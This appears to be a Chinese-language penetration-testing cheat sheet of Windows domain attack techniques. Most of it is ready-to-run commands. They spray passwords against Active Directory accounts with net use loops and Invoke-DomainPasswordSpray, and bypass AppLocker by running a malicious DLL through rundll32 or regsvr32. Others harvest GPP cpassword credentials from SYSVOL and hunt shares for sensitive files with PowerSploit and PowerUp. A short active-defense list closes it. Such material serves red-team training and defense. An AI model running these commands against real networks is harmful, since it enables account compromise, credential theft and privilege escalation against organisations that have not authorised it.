密码喷洒攻击
密码喷洒是针对企业网络的密码猜测攻击。攻击者通过命令行查询Active Directory或开源情报收集用户名列表,然后对每个用户名尝试通用密码(如"Autumn2016")。为避免触发账户锁定策略,需在每个观察窗口期内仅猜测一次密码。
命令行实施步骤:
- 检查域密码策略:
1
|
C:\> net accounts /domain
|
- 生成用户列表(WMIC或PowerShell):
1
|
C:\> wmic useraccount where (domain='%USERDOMAIN%') get Name > userlist.txt
|
或
1
|
PS C:\> ([adsisearcher]"objectCategory=User").Findall() | ForEach {$_.properties.samaccountname} | Sort | Out-File -Encoding ASCII
|
- 使用FOR循环测试凭证:
1
|
@FOR /F %n in (userlist.txt) DO @FOR /F %p in (pass1.txt) DO @net use %LOGONSERVER%\IPC$ /user:%USERDOMAIN%\%n %p 1>NUL 2>&1 && @echo [*] %n:%p && @net use /delete \\DC1\IPC$ > NUL
|
自动化脚本:
使用PowerShell脚本Invoke-DomainPasswordSpray.ps1:
1
|
PS C:\> Invoke-DomainPasswordSpray -Domain %USERDOMAIN% -UserList userlist.txt -Password Autumn2016
|
AppLocker绕过技术
次级执行技术
当运行进程启动第二个进程时,AppLocker规则不会应用于次级执行进程。常用方法:
- 使用RUNDLL32.EXE执行恶意DLL:
1
|
C:\Windows\System32\rundll32.exe C:\temp\malicious.dll,Control_RunDLL
|
- 使用REGSVR32.EXE:
1
|
C:\> regsvr32.exe /s /u malicious.dll
|
第三方命令shell
当cmd.exe被阻止时,可尝试ReactOS的开源命令shell。若被阻止,可将EXE转换为DLL后使用RunDLL32方法执行。
权限提升技术
GPP组策略偏好
查找并解密GPP中存储的凭证:
1
|
C:\> findstr /S cpassword %logonserver%\sysvol\*.xml
|
使用工具解密找到的cpassword值。
PowerUp工具
检测常见配置错误:
1
2
|
PS C:\> import-module ./powerup.ps1
PS C:\> Invoke-Allchecks
|
文件搜索技术
使用PowerSploit模块搜索敏感文件:
1
2
|
PS C:\> Invoke-ShareFinder -CheckShareAccess -Verbose -Threads 20 | Out-File -Encoding Ascii interesting-shares.txt
PS C:\> Invoke-FileFinder -ShareList .\interesting-shares.txt -Verbose -Threads 20 -OutFile juicy_files.csv
|
Bloodhound工具
自动化发现AD权限提升路径,通过图形化展示可攻击的账户/计算机。
主动防御策略
- Web Bugs:在诱饵文档中嵌入1x1像素图片,记录攻击者信息
- Weblabyrinth:创建虚假网页迷宫干扰自动化扫描器
- Honeyports:使用Artillery工具监控虚假服务
- Kippo:模拟SSH服务干扰暴力破解
- ADHD工具集:包含多种主动防御工具
技术参考: